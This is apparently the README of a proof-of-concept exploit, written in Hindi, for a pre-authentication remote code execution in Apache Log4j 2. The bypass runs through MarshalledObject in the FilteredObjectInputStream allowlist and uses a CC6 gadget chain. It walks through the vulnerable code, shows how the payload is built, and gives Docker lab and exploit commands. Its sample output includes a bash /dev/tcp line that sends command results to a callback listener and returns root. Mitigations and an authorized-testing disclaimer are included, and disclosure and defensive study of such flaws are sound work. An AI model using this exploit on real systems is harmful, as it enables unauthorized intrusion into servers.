
Apache Log4j 2 में FilteredObjectInputStream MarshalledObject बाईपास के माध्यम से प्री-ऑथ RCE
किसी भी Java सेवा पर Pre-auth RCE जो Log4j के FilteredObjectInputStream के माध्यम से LogEvent को deserialize करती है। कोई क्रेडेंशियल आवश्यक नहीं।
24 अगस्त, 2026 को GitHub issue #4255 के रूप में रिपोर्ट किया गया।
Log4j FilteredObjectInputStream (FOIS) को एक सुरक्षित deserialization रैपर के रूप में भेजता है। यह resolveClass() को एक allowlist के साथ ओवरराइड करता है ताकि केवल org.apache.logging.log4j.*, java.lang.*, java.util.*, और कुछ स्पष्ट क्लास ही गुजर सकें।
उन स्पष्ट क्लासों में से एक है java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- समस्या
...);
MarshalledObject.get() आंतरिक रूप से एक नया, सादा ObjectInputStream बनाता है। कोई फ़िल्टर नहीं। MarshalledObject के अंदर लपेटी गई कोई भी चीज़ बिना किसी प्रतिबंध के deserialize होती है, जो allowlist को पूरी तरह से बायपास करती है।
Log4j स्वयं यह रैपिंग करता है। LogEventProxy (हर LogEvent के लिए serialization प्रॉक्सी) इवेंट संदेश को MarshalledObject<Message> फ़ील्ड में संग्रहीत करता है। Deserialization पर, यह संदेश को पुनर्प्राप्त करने के लिए marshalledMessage.get() को कॉल करता है। वह कॉल अनफ़िल्टर्ड स्ट्रीम बनाता है। खेल समाप्त।
फ़िल्टर केवल स्ट्रीम में शीर्ष-स्तरीय क्लास डिस्क्रिप्टर देखता है:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS LogEventProxy (log4j पैकेज, अनुमत), MarshalledObject (allowlist में), और byte[] (प्रिमिटिव) की जाँच करता है। सभी पास हो जाते हैं। CC6 गैजेट चेन MarshalledObject.objBytes के अंदर कच्चे बाइट्स के रूप में छिपी होती है। FOIS इसे कभी नहीं देखता।
जब LogEventProxy.readResolve() चलता है:
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // अनफ़िल्टर्ड ObjectInputStream
} catch (final Exception ex) {
// मुझे अनदेखा करें
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() एक सादा ObjectInputStream बनाता है, CC6 चेन ट्रिगर होती है, और कमांड निष्पादित होती है। जब गैजेट परिणाम Message नहीं होता है तो catch ब्लॉक ClassCastException को निगल जाता है, इसलिए सर्वर सामान्य रूप से प्रतिक्रिया करता है। कोई त्रुटि नहीं, कोई लॉग प्रविष्टि नहीं।
तुलना के लिए, ObjectMessage इसे सही ढंग से करता है:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // एक फ़िल्टर्ड आंतरिक स्ट्रीम बनाता है
}
LogEventProxy को इसी पैटर्न का उपयोग करना चाहिए लेकिन नहीं करता।
Attacker Target (FOIS-based receiver)
| |
| HTTP POST /log |
| Body: serialized LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j पैकेज
| ├── resolveClass(MarshalledObject) ✓ allowlist
| └── resolveClass(byte[]) ✓ प्रिमिटिव
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) कोई फ़िल्टर नहीं
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
सर्वर 200 के साथ प्रतिक्रिया करता है और इवेंट को ऐसे संसाधित करता है जैसे कुछ हुआ ही नहीं।
ट्रिक CC6 चेन को MarshalledObject.objBytes के अंदर लाना है बिना इसे जल्दी ट्रिगर किए।
GadgetMessage Message को लागू करता है और CC6 गैजेट लौटाने के लिए writeReplace() को ओवरराइड करता है:
GadgetMessage को अपने संदेश के रूप में एक Log4jLogEvent बनाएं।LogEventProxy.writeObject() marshall(message) को कॉल करता है, जो GadgetMessage को MarshalledObject कंस्ट्रक्टर में फीड करता है।GadgetMessage को serialize करता है। writeReplace() फायर होता है और CC6 HashSet को प्रतिस्थापित करता है।MarshalledObject.objBytes में CC6 चेन होती है। GadgetMessage वायर पर कभी दिखाई नहीं देता।GadgetMessage केवल हमलावर-पक्ष है। इसे टारगेट क्लासपाथ पर होने की आवश्यकता नहीं है।
| घटक | असुरक्षित |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 से 2.24.3 |
log4j-core (LogEventProxy MarshalledObject फ़ील्ड) | 2.8.0 से 2.24.3 |
टारगेट को क्लासपाथ पर एक गैजेट लाइब्रेरी की भी आवश्यकता होती है। यह PoC Commons Collections 3.2.1 (CC6 चेन) का उपयोग करता है।
आवश्यकताएँ: Java 11+, Maven, Python 3.10+, Docker (केवल पीड़ित लैब के लिए)
पीड़ित को बनाएं और शुरू करें:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
एक्सप्लॉइट बनाएं (या पहले रन पर poc.py को इसे करने दें):
cd exploit && mvn package -q -DskipTests && cd ..
चलाएं:
# --lhost आपका IP है जो टारगेट से पहुंच योग्य है
# उसी होस्ट पर Docker लैब के लिए, docker0 ब्रिज IP का उपयोग करें
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
आउटपुट:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
कस्टम कॉलबैक पोर्ट:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
PayloadGenerator को संकलित करने और निर्भरताएँ खींचने के लिए exploit/ में mvn package को कॉल करता है। बाद के रनों पर छोड़ देता है।java -cp exploit/target/... PayloadGenerator <cmd> चलाता है। MarshalledObject के अंदर CC6 के साथ एक base64 serialized LogEvent आउटपुट करता है।--lport (डिफ़ॉल्ट 9999) पर एक TCP लिसनर खोलता है।/log एंडपॉइंट पर HTTP POST के रूप में भेजता है।/dev/tcp के माध्यम से आउटपुट को लिसनर पर वापस पाइप करता है।log4j2-rce/
├── README.md
├── poc.py # एक्सप्लॉइट स्क्रिप्ट
├── exploit/ # हमलावर (होस्ट पर चलता है)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # writeReplace() के साथ Message
└── lab/ # पीड़ित (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # FOIS का उपयोग करने वाला HTTP एंडपॉइंट
lab/ पीड़ित है। HttpLogReceiver FilteredObjectInputStream का उपयोग करने वाला एक HTTP लॉग रिसीवर है। डिफ़ॉल्ट कॉन्फ़िगरेशन, कोई डीबग फ़्लैग नहीं, कोई कृत्रिम कमजोरियाँ नहीं। यथार्थवादी ट्रांज़िटिव निर्भरता के रूप में क्लासपाथ पर Commons Collections।
exploit/ हमलावर टूलिंग है। PayloadGenerator होस्ट पर serialized पेलोड बनाता है। पीड़ित कंटेनर को कभी नहीं छूता।
java.rmi.MarshalledObject को REQUIRED_JAVA_CLASSES से हटाएं।LogEventProxy में MarshalledObject<Message> फ़ील्ड को SerializationUtil.writeWrappedObject() / readWrappedObject() के माध्यम से serialized byte[] से बदलें। यह वही पैटर्न है जो ObjectMessage पहले से सही ढंग से उपयोग करता है।CC 3.2.1 और पुराने: InvokerTransformer स्वतंत्र रूप से serialize होता है। CC6 जैसा है वैसा ही काम करता है।
CC 3.2.2 (नवंबर 2015): InvokerTransformer में एक serialization गार्ड जोड़ा गया जो चेन को तब तक ब्लॉक करता है जब तक org.apache.commons.collections.enableUnsafeSerialization true न हो।
फ़िल्टर बाईपास CC संस्करण की परवाह किए बिना मौजूद है। CC का गार्ड गैजेट परत पर defense-in-depth है, टूटे हुए फ़िल्टर के लिए फिक्स नहीं। कोई भी अन्य असुरक्षित गैजेट लाइब्रेरी (Groovy, BeanShell, Spring Beans, आदि) समान हमले को सक्षम करती है।
docker rm -f fois-lab
docker rmi fois-bypass-lab
केवल अधिकृत परीक्षण के लिए। किसी भी चीज़ के खिलाफ इसे चलाने से पहले लिखित अनुमति लें जो आपकी नहीं है।